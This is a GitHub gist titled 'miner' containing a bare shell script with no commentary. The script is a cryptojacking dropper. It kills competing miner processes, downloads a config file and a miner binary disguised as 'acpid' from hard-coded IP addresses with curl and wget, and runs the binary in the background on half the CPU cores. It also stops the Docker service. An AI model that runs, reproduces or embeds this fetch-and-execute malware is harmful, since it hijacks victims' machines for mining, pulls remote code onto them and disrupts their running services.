Skip to content

Instantly share code, notes, and snippets.

@pepijnblom
Created January 31, 2018 11:05
Show Gist options
  • Save pepijnblom/9d896074d64b19f3ab797a3fc916f46c to your computer and use it in GitHub Desktop.
Save pepijnblom/9d896074d64b19f3ab797a3fc916f46c to your computer and use it in GitHub Desktop.
miner
!/bin/sh
id1="jvdxbsjgds"
id2="kzpprqvhov"
id3="xczd"
rm -rf /var/tmp/xztd
rm -rf /var/tmp/`echo $id1`.conf
ps auxf|grep -v grep|grep -v `echo $id2`|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wcubpiztlk"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "laqzdbgiuz"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "slxfbkmxtd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wipefs"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep `echo $id1`|awk '{print $2}'|xargs kill -9
ps -fe|grep `echo $id2`|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/`echo $id2`.conf
rm -rf /var/tmp/`echo $id2`.conf
curl -o /var/tmp/`echo $id2`.conf http://47.93.103.136/acpid.conf
wget -O /var/tmp/`echo $id2`.conf http://47.93.103.136/acpid.conf
chmod 777 /var/tmp/acpid
rm -rf /var/tmp/acpid
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/acpid http://5.188.87.12/locales/acpid
wget -O /var/tmp/acpid http://5.188.87.12/locales/acpid
else
curl -o /var/tmp/acpid http://5.188.87.12/locales/acpid_na
wget -O /var/tmp/acpid http://5.188.87.12/locales/acpid_na
fi
chmod +x /var/tmp/acpid
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
./acpid -c `echo $id2`.conf -t `echo $cores` -B>/dev/null &
else
echo "runing....."
fi
/etc/init.d/docker stop
service docker stop
systemctl stop docker
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment